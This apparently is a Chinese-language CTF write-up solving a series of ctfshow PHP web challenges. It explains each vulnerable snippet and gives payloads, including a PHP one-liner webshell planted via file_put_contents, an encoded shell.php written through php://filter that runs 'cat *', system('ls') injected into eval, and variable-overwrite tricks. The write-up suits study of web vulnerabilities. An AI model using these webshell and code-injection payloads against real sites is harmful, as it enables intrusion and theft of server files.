源码:
这道题用到了三元运算符
首先判断是否GET传入了数据,如果传入了则将POST的地址赋值给了GET
其实就是用POST替换GET
如果GET存在flag字段的值则会继续替换,最后替换成SERVER
这里我们只要GET随便传入一个数据让post替换get
然后post传入 HTTP_FLAG=flag
这样最后highlight_file就能去显示$flag
源码:
$allow = array();
: 创建一个空数组 $allow
。
for ($i=36; $i < 0x36d; $i++) { ... }
: 这个循环从 36 到 0x36d(十进制为877)迭代,将 rand(1,$i)
生成的随机数添加到 $allow
数组中。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ ... }
: 检查是否设置了 'n' 参数,并且该参数的值存在于 $allow
数组中。如果条件成立,就执行下一行的代码。
file_put_contents($_GET['n'], $_POST['content']);
: 将通过 POST 请求传递的 'content' 数据写入由 URL 中 'n' 参数指定的文件中。
定义:搜索数组中是否存在指定的值,如果在数组中找到值则返回 TRUE,否则返回 FALSE。
exp:
特性:
第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。
使用get方法对传入php文件进行命名,post方法穿入一句话马来get webshell
payload:
get:?n=1.php
Post:content==@eval($_POST['eval']);?>
源码:
$_GET['v1']
, $_GET['v2']
, $_GET['v3']
: 获取通过GET请求传递的参数 v1、v2、v3 的值。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
: 检查 v1、v2、v3 是否都是数字,并将结果存储在变量 $v0
中。
if($v0){
: 如果上述数字检查通过,则进入此条件。
if(!preg_match("/\;/", $v2)){
: 如果变量 $v2
中不包含分号 ;
,则进入此条件。
if(preg_match("/\;/", $v3)){
: 如果变量 $v3
中包含分号 ;
,则进入此条件。
eval("$v2('ctfshow')$v3");
: 使用 eval
函数执行动态生成的字符串。这个字符串包含 $v2
函数名,参数是字符串 'ctfshow'
,然后连接上 $v3
。
这道题的关键在于
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
我们已知运算符优先级的排列如下
&& || = and or //从左往右,从高到低
所以这串代码检查仅对v1进行数字型检查,对v2以及v3没有影响
那么接下来就是传参来构造eval函数了
Payload:?v1=1&v2=var_dump($ctfshow)&v3=;
输出:
object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_0d8764100x2d4b030x2d40730x2da78a0x2d7fec68366b6b"]=> NULL }
Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php(24) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(24): eval() #1 {main} thrown in /var/www/html/index.php(24) : eval()'d code on line 1
直接输入flag发现错误,仔细查看发现0x2d多次出现,查询后发现0x2d为-
,进行替换即可(结果这一步还是个非预期)
源码:
由于过滤条件变多,于是上一道题的payload也随即失效
那么我们只需要找一个不包含上面任何过滤的命令即可
在这里对ctfshow文件进行序列化
payload:?v1=1&v2=echo(serialize(new%20ctfshow&v3=));
输出:
O:7:"ctfshow":3:{s:6:"dalaoA";N;s:6:"dalaoB";N;s:52:"flag_8fe215c70x2da8210x2d416e0x2d9a650x2deaa5ce47f60";N;}
还是一样的操作,把0x2d换成-
随后爆破最后一位flag,需要16次
源码:
$v4 = (is_numeric($v2) and is_numeric($v3));
。这意味着 $v4
将被赋值为布尔值,判断是否同时满足 $v2
和 $v3
是数值。
if($v4){ ... }
: 如果 $v4
为真,即 $v2
和 $v3
同时为数值类型,则执行以下代码块。
$s = substr($v2,2);
: 从 $v2
中截取从第三个字符开始的子字符串,并将结果赋给 $s
。
$str = call_user_func($v1,$s);
: 使用 call_user_func
函数调用 $v1
指定的回调函数,并将 $s
作为参数传递给该函数。将函数的返回值赋给变量 $str
。
file_put_contents($v3,$str);
: 将 $str
的值写入到以 $v3
命名的文件中。
else{ die('hacker'); }
: 如果 $v4
不为真,即 $v2
或 $v3
不是数值类型,则终止程序执行。
首先我们对陌生函数进行一下解释
substr()
字符串截取 exp:$s = substr($v2,2);
截取从第三个字符开始的子字符串,过滤前两位
call_user_func()
调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数
file_put_contents($v3,$str);
用来写入文件,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议
已知call_user_func
函数体中的$v1
应为一个函数,那么v1赋值时应赋值一个方法
在函数$s = substr($v2,2);
中不难得知变量v2的类型应该是一个字符串,并且由于上面is_numberic
函数的限制,v2应该被赋值一个纯数字字符串,并且这个字符串的前面应该加上两个混淆字符以便函数体对方法进行正确调用
file_put_contents($v3,$str);
,v3变量应该传入一个文件名,并且将变量str中的数据传入到被定义的文件中,v3变量可以使用伪协议进行构建
综上所述
构造payload
v3=php://filter/write=convert.base64-decode/resource=shell.php
v1=hex2bin
v2--> =cat *; -base64->PD89YGNhdCAqYDs -hex(ascii)->115044383959474e6864434171594473-substr绕过->00115044383959474e6864434171594473
final
Get:?v2=00115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=shell.php
Post:v1=hex2bin
同上
源码:
直接sha1弱类型比较绕过
源码:
$value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
$error='你还想要flag嘛?';
: 将字符串赋值给变量$error
。
$suces='既然你想要那给你吧!';
: 将字符串赋值给变量$suces
。
foreach($_GET as $key => $value){ ... }
: 遍历$_GET
数组中的所有键值对,将每个键值对的键和值分别赋给变量$key
和$value
。
foreach($_POST as $key => $value){ ... }
: 类似地,遍历$_POST
数组中的所有键值对,将每个键值对的键和值分别赋给变量$key
和$value
。
if($key==='error'){ die("what are you doing?!"); }
: 如果在$_GET
数组中找到一个键名为error
,则输出错误消息并终止脚本。
if($value==='flag'){ die("what are you doing?!"); }
: 如果在$_POST
数组中找到一个值为flag
的键值对,则输出错误消息并终止脚本。
$$key=$$value;
: 使用覆盖变量的方式,将$value
的值赋给与$key
同名的变量
if(!($_POST['flag']==$flag)){ die($error); }
: 如果$_POST
中的flag
值不等于$flag
,则输出错误消息并终止脚本。
因为if(!($_POST['flag']==$flag)){ die($error); }
,只要不成立就会输出$error
,我们可以在GET把flag赋值给suces,然后再把suces赋值给error就能显示flag了
Payload:
Get:?suces=flag
Post:error=suces
最简单的sha1绕过
源码:
parse_str() 函数把查询字符串解析到变量中。
如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
1、如果没有设置第二个参数,则解析后将赋值给同名变量。 2、parse_str(v1,v2),则会将v1解析后,放到v2变量里面。
只要满足v3的md5等于v2[flag]即可。可以传递给v3任意值,然后v1=flag=v3的md5值,这里选择让v3为数组类型从而使得md5值为空,v1=v2后md5也为空
Payload:
Post:v1=v2
Get:?v3[]=1
源码:
error
反转字符串
exp:strrev(string $string
): string (返回 string
反转后的字符串)
解题思路:
由于正则匹配的原因所以不能直接向变量传入十六进制,所以将0x36d转换成10进制后得到877,因为strrev函数所以应该输入778
随后对ereg函数进行截断
首先传入一个符合正则表达式的匹配条件,随后使用%00对其进行null截断,再传入778
payload:?c=a%00778
可以看到我们即将要构造的函数是一个被实例化的对象,那么我们可以通过自行构建异常类型来执行system指令
Payload1:?v1=Exception&v2=system('ls')
这样函数体就变成了
eval("echo new Exception(system('ls')());");
输出:fl36dg.txt index.php
直接对flag进行读取即可
源码:
加入了很多的过滤条件
先来介绍两个新函数
获取指定目录下的所有文件,用于构造新的文件系统迭代器
exp:$fileItr = new FilesystemIterator(dirname(__FILE__));
将当前工作目录的绝对路径复制
payload:
?v1=FilesystemIterator&v2=getcwd
可以得到对应flag所在的txt,直接读取即可
源码:
/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
新函数:
引用全局作用域中可用的php超全局变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
?v1=ctfshow&v2=GLOBALS
源码:
is_file — 判断给定文件名是否为一个正常的文件 exp:is_file ( string $filename ) : bool
这道题我们需要能让is_file检测出是文件,并且 highlight_file可以识别为文件。
这时候可以利用php伪协议。
payload:file=php://filter/resource=flag.php